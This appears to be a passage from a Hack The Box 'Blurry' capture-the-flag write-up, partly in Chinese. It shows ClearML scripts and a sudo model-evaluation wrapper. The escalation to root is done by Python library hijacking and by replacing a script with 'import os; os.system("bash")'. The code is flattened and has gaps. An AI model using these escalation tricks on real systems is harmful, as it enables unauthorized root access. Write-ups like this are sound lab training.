from clearml import Task from multiprocessing import Process from clearml.backend_api.session.client import APIClient
def process_json_artifact(data, artifact_name): """ Process a JSON artifact represented as a Python dictionary. Print all key-value pairs contained in the dictionary. """ print(f"[+] Artifact '{artifact_name}' Contents:") for key, value in data.items(): print(f" - {key}: {value}")
def process_task(task): artifacts = task.artifacts for artifact_name, artifact_object in artifacts.items(): data = artifact_object.get() if isinstance(data, dict): process_json_artifact(data, artifact_name) else: print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")
if not tasks: print("[!] No tasks up for review.") return threads = [] for task in tasks: print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})") p = Process(target=process_task, args=(task,)) p.start() threads.append(p) task.set_archived(True)
for thread in threads: thread.join(60) if thread.is_alive(): thread.terminate()
# Mark the ClearML task as completed review_task.close()
jippity@blurry:~$ cat /usr/bin/evaluate_model #!/bin/bash # Evaluate a given model against our proprietary dataset. # Security checks against model file included. if [ "$#" -ne 1 ]; then /usr/bin/echo "Usage: $0 <path_to_model.pth>" exit 1 fi
if [ -f "$MODEL_FILE" ]; then /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..." /usr/bin/python3 "$PYTHON_SCRIPT""$MODEL_FILE" fi
jippity@blurry:/models$ ls -lah total 1.1M drwxrwxr-x 2 root jippity 4.0K May 3010:32 . drwxr-xr-x 19 root root 4.0K Jun 3 09:28 .. -rw-r--r-- 1 root root 1.1M May 30 04:39 demo_model.pth -rw-r--r-- 1 root root 2.5K May 30 04:38 evaluate_model.py
這裏面就兩個文件，但是cat了一下脚本，
1 2 3 4 5 6 7 8
jippity@blurry:/models$ cat evaluate_model.py import torch import torch.nn as nn from torchvision import transforms from torchvision.datasets import CIFAR10 from torch.utils.data import DataLoader, Subset import numpy as np import sys
jippity@blurry:/models$ echo 'import os; os.system("bash")' > /models/torch.py sudo /usr/bin/evaluate_model /models/demo_model.pth [+] Model /models/demo_model.pth is considered safe. Processing... root@blurry:/models# whoami root root@blurry:/models# id uid=0(root) gid=0(root) groups=0(root)
Root - Replace evaluate_model.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
jippity@blurry:/models$ ls -lah total 1.1M drwxrwxr-x 3 root jippity 4.0K Jun 9 03:36 . drwxr-xr-x 19 root root 4.0K Jun 3 09:28 .. -rw-r--r-- 1 root root 1.1M May 30 04:39 demo_model.pth -rw-r--r-- 1 root root 2.5K May 30 04:38 evaluate_model.py drwxr-xr-x 2 root root 4.0K Jun 9 03:26 __pycache__ jippity@blurry:/models$ rm evaluate_model.py rm: remove write-protected regular file 'evaluate_model.py'? y jippity@blurry:/models$ ls demo_model.pth __pycache__ jippity@blurry:/models$ echo 'import os; os.system("bash")' > evaluate_model.py
jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/demo_model.pth [+] Model /models/demo_model.pth is considered safe. Processing... root@blurry:/models# id uid=0(root) gid=0(root) groups=0(root) root@blurry:/models#
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
